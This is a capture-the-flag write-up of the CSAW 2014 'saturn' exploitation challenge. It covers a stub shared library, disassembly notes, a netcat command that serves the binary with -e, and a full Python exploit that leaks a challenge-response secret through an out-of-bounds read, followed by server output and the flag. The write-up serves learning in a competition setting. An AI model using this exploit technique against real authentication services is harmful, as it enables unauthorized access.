The annual NYU Polytechnic School of Engineering Cyber Security Awareness Week (CSAW) Capture The Flag (CTF) competition online qualifiers were held September 19-21, 2014.  This is a writeup of one of the Exploitation challenges we solved: "saturn".

The problem has this hint with an attached file.

You have stolen the checking program for the CSAW Challenge-Response-Authentication-Protocol system.  Unfortunately you forgot to grab the challenge-response keygen algorithm (libchallengeresponse.so).  Can you still manage to bypass the secure system and read the flag?

 

nc 54.85.89.65 8888

We start off with a typical examination of the file:

[root@localhost saturn]# file saturn
saturn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=0xa55828fef5637b04d127681ada4a06b332d54a9c, stripped

The CTF hint gave us the tip to look for which shared objects the binary is linked with.

[root@localhost saturn]# ldd saturn
        linux-gate.so.1 =>  (0xb77f8000)
        libchallengeresponse.so => not found
        libc.so.6 => /lib/libc.so.6 (0x48ad5000)
        /lib/ld-linux.so.2 (0x48ab2000)

So we can’t even run saturn yet because we didn’t steal the “challenge-response keygen algorithm.”  We look at the imports of saturn and notice that fillChallengeResponse is among them.  So we create a .c file containing a prototype for that function that will be exported.  For now, ignore the contents of the function… that comes later.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void hexdump(unsigned char * arr){
    int i;
    for(i=0;i<16;i++){
        printf("%x ", arr[i]);
    }
}

unsigned char * challenge =  "0123456789abcdef0123456789ABCDEF";
unsigned char * response = "ZXCVBNMKJHGFDSAPzxcvbnmkjhgfdsap";


void fillChallengeResponse(int a, int b, int c, int d, int e, int f){
    printf("Inside fillChallengeResponse\n");
    printf("Got 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x\n", a, b, c, d, e, f);
    memcpy((void *)a, (void*)challenge, 32);
    memcpy((void *)b, (void*)response, 32);
}

libchallengeresponse.c

Compile it into a .so.

[root@localhost saturn]# gcc -shared libchallengeresponse.c -o libchallengeresponse.so

Assuming that both saturn and your new .so are in the same directory, you can simply add the current directory to your library path.

[root@localhost saturn]# export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:.

Now you can run saturn, and since we have exported the environment variable, you can run it inside gdb and it will pick up your .so.

At this point you can combine dynamic and static analysis as well as some guess work.  I arrived at the answer mostly through static analysis, although ddd contributed as well.  You can run the program listening on the network with a command like

[root@localhost saturn]# nc -l 8888 -e saturn -x ncout.txt

Opening saturn in your favorite disassembler (say, IDA Pro), we look for the use of the fillChallengeResponse function we created earlier.  In that area of the program, we find this main code loop:

Snippet from saturn binary in IDA Pro graph view

Snippet from saturn binary in IDA Pro graph view

I labeled some of the functions in blue based on analyzing the disassembly.  The key is to look for known imports (fread, read, write, etc.) of library functions and examine their arguments.  We see here by following the logic from top to bottom that if the first four bits of the byte the program reads from stdin is 0xA, it goes to “print_4_bytes_of_buf“; if it’s 0xE, it goes to “save_response“; and if it’s 0x8, it goes to “check_resp_and_print_flag.”  You know it’s the flag function because of the obvious fread of “flag.txt” in that function’s machine code.

At this point, we have uncovered most of the algorithm the server uses.  The last piece of the puzzle is to recognize that the two arguments to the fillChallengeResponse function in libchallengeresponse.so are next to each other in the binary’s .data section (0x804A0C0 and 0x804A0E0).  They are both 32 bytes.  The key is that the four least significant bits of the 0xA0 code is used to index into that memory.  Since it reads four bytes at a time, we can actually read 64 bytes of memory using the range 0xA0-0xAF, not just 32 bytes!

So we write a quick and dirty Python script to send the bytes to the server, read past the challenge into the response, send the response back, and then ask for the contents of flag.txt.

#!/usr/bin/env python

import sys, socket, struct

def get_response(s):
    """Get a response from the socket."""
    response = s.recv(1024)
    print "The challenge server says: ", response
    print "\tBytes: %s" % hex_dump(response) 
    return response

def hex_dump(arr):
    """Pretty print"""
    return ":".join("{:02x}".format(ord(c)) for c in arr)

#Arguments: <IP of challenge server> <port>
if __name__ == "__main__":
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((sys.argv[1], int(sys.argv[2])))

    #Get the banner message
    get_response(s)

    print "Sending bytes"
    challenge = ""

    #Send increasing values from 0xa0. The 4 LSBits of this code
    #  are used as an index into the array.  Each aX value sent
    #  to the challenge server retrieves 4 bytes
    #Note that 0x10*4 > 0x20, so we're going to retrieve bytes
    #  from outside the challenge buffer in memory.
    for i in range(0x10):
        val = 0xa0 + i

        s.send(struct.pack("<B", val))
    
        #Get 4 bytes of memory from the server
        response = get_response(s) 
        for c in response:
            challenge += c
    
    print "Complete response: ", hex_dump(challenge)

    #We overran the buffer so the last half of the array is
    #  the expected response
    myresponse = challenge[32:] 
    print "Sending back challenge: ", hex_dump(myresponse)

    #Send a series of values increasing from 0xe0 followed by
    #  4 bytes of the expected response.  The server doesn't
    #  respond in between our sends.
    #8*4 = 32 bit response
    for i in range(8):
        val = 0xe0 + i
        s.send(struct.pack("<B", val))
        ri = i*4
        s.send(struct.pack("<BBBB", ord(myresponse[ri]), ord(myresponse[ri+1]),
          ord(myresponse[ri+2]), ord(myresponse[ri+3])))
    print "Sent challenge"


    #Now that we've sent the correct response back to the server, we
    #   send the final magic code to trigger the check and cause the server
    #   to print the contents of flag.txt
    print "Sending final code..."
    s.send(struct.pack("<B", 0x80))

    get_response(s)    

    print "Exiting..."

saturn.py

And here is the output from the CSAW server:

[root@localhost saturn]# python saturn.py 54.85.89.65 8888
The challenge server says:  CSAW ChallengeResponseAuthenticationProtocol Flag Storage

        Bytes: 43:53:41:57:20:43:68:61:6c:6c:65:6e:67:65:52:65:73:70:6f:6e:73:65:41:75:74:68:65:6e:74:69:63:61:74:69:6f:6e:50:72:6f:74:6f:63:6f:6c:20:46:6c:61:67:20:53:74:6f:72:61:67:65:0a
Sending bytes
The challenge server says:  x��@
        Bytes: 78:ea:cd:40
The challenge server says:  �<\
        Bytes: dd:3c:01:5c
The challenge server says:  Eȣ(
        Bytes: 45:c8:a3:28
The challenge server says:  ���H
        Bytes: a1:eb:d9:48
The challenge server says:  �I�P
        Bytes: e3:49:d8:50
The challenge server says:  J�Xv
        Bytes: 4a:82:58:76
The challenge server says:  '��1
        Bytes: 27:c0:fd:31
The challenge server says:  ���(
        Bytes: de:f8:f0:28
The challenge server says:  �h1
        Bytes: f9:68:10:31
The challenge server says:  ��y%
        Bytes: 81:9f:79:25
The challenge server says:  ٧|#
        Bytes: d9:a7:7c:23
The challenge server says:  jl~
        Bytes: 03:6a:6c:7e
The challenge server says:  ���S
        Bytes: 9e:b8:e7:53
The challenge server says:  ��S 
        Bytes: a4:c3:53:20
The challenge server says:  o=+
        Bytes: 00:6f:3d:2b
The challenge server says:  `��
        Bytes: 60:9f:bb:00
Complete response:  78:ea:cd:40:dd:3c:01:5c:45:c8:a3:28:a1:eb:d9:48:e3:49:d8:50:4a:82:58:76:27:c0:fd:31:de:f8:f0:28:f9:68:10:31:81:9f:79:25:d9:a7:7c:23:03:6a:6c:7e:9e:b8:e7:53:a4:c3:53:20:00:6f:3d:2b:60:9f:bb:00
Sending back challenge:  f9:68:10:31:81:9f:79:25:d9:a7:7c:23:03:6a:6c:7e:9e:b8:e7:53:a4:c3:53:20:00:6f:3d:2b:60:9f:bb:00
Sent challenge
Sending final code...
The challenge server says:  flag{greetings_to_pure_digital}

        Bytes: 66:6c:61:67:7b:67:72:65:65:74:69:6e:67:73:5f:74:6f:5f:70:75:72:65:5f:64:69:67:69:74:61:6c:7d:0a
Exiting...

Flag: greetings_to_pure_digital